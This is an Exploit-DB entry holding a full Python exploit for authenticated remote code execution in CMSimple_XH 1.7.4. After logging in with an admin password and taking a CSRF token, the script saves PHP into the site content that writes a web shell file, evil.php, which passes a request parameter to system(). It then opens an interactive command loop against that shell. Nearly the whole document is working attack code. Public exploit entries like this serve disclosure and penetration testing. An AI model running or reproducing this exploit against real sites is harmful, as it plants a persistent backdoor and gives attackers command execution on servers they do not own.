Exploit-DB #50367
Description: CMSimple_XH 1.7.4 - Remote Code Execution (RCE) (Authenticated)
Type: webapps
Platform: php
Date: 2021-10-01
Author: Halit AKAYDIN

Exploit:
# Exploit Title: CMSimple_XH 1.7.4 - Remote Code Execution (RCE) (Authenticated)
# Date: 01-10-2021
# Exploit Author: Halit AKAYDIN (hLtAkydn)
# Vendor Homepage: https://www.cmsimple-xh.org/
# Software Link: https://www.cmsimple-xh.org/?Downloads
# Version: 1.7.4
# Category: Webapps
# Tested on: Linux/Windows


# CMSimple_XH is an open source project under GPL3 license
# Includes an endpoint that allows remote access
# Backup page is misconfigured, causing security vulnerability
# User information with sufficient permissions is required.

# Example: python3 exploit.py -u http://example.com -p Admin123



from bs4 import BeautifulSoup
from time import sleep
import requests
import argparse


def main():
parser = argparse.ArgumentParser(description='CMSimple_XH Version 1.7.4 - Remote Code Execution (Authenticated)')
parser.add_argument('-u', '--host', type=str, required=True)
parser.add_argument('-p', '--password', type=str, required=True)
args = parser.parse_args()
print("\nCMSimple_XH Version 1.7.4 - Remote Code Execution (Authenticated)",
"\nExploit Author: Halit AKAYDIN (hLtAkydn)\n")
host(args)



def host(args):
#Check http or https
if args.host.startswith(('http://', 'https://')):
print("[?] Check Url...\n")
sleep(2)
args.host = args.host
if args.host.endswith('/'):
args.host = args.host[:-1]
else:
pass
else:
print("\n[?] Check Adress...\n")
sleep(2)
args.host = "http://" + args.host
args.host = args.host
if args.host.endswith('/'):
args.host = args.host[:-1]
else:
pass


# Check Host Status
try:
response = requests.get(args.host)
if response.status_code == 200:
login(args)
else:
print("[-] Address not reachable!")
sleep(2)

except requests.ConnectionError as exception:
print("[-] Address not reachable!")
sleep(2)
exit(1)


def login(args):

url = args.host + "/?&login"
cookies = {
"XH_2f": "evil"
}
headers = {
"Origin": args.host,
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Referer": args.host + "/?&login"
}
data = {
"login": "true",
"keycut": args.password,
"submit": "Login"
}
response = requests.post(url, headers=headers, cookies=cookies, data=data)

token = response.cookies.get("XH_2f")
soup = BeautifulSoup(response.text, 'html.parser')

if (soup.find("link",{"rel":"next"})['href'] != "/"):
print("[!] Login Success!\n")
sleep(2)
csrf(args,token)
else:
print("[!] Wrong password!!\n")
sleep(2)


def csrf(args, token):

url = args.host + "/?file=content"
cookies = {
"status": "adm",
"XH_2f": token
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Referer": args.host + "/?&settings",
"Accept-Encoding": "gzip, deflate",
"Connection": "close"
}
response = requests.get(url, headers=headers, cookies=cookies)

try:
soup = BeautifulSoup(response.text, 'html.parser')
csrf = soup.find_all("input", type="hidden")[3].get("value")
create(args, token, csrf)
except Exception as e:
print(e)
else:
pass



def create(args, token, csrf):

payload = "<?php\r\nfile_put_contents('./evil.php', \"\\x3c\\x3fphp system(\\x24_GET['cmd']);\\x3f\\x3e\");\r\n?>\r\n"

url = args.host
cookies = {
"status": "adm",
"XH_2f": token
}
headers = {
"Origin": args.host,
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Referer": args.host + "/?file=content&action=edit&xh_success=content",
"Accept-Encoding": "gzip, deflate"
}
data = {
"text": payload,
"file": "content",
"action": "save",
"xh_csrf_token": csrf
}
response = requests.post(url, headers=headers, cookies=cookies, data=data, allow_redirects=True)

if (response.status_code == 200):
print("[!] Create Vuln File!\n")
sleep(2)
exploit(args)
else:
print("[!] Create Failed!\n")
sleep(2)


def exploit(args):

print("[+] Exploit Done!\n")
sleep(2)

while True:
cmd = input("$ ")
url = args.host + "/evil.php?cmd=" + cmd
headers = {
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0"
}

response = requests.post(url, headers=headers, timeout=5)

if response.text == "":
print(cmd + ": command not found\n")
else:
print(response.text)



if __name__ == '__main__':
main()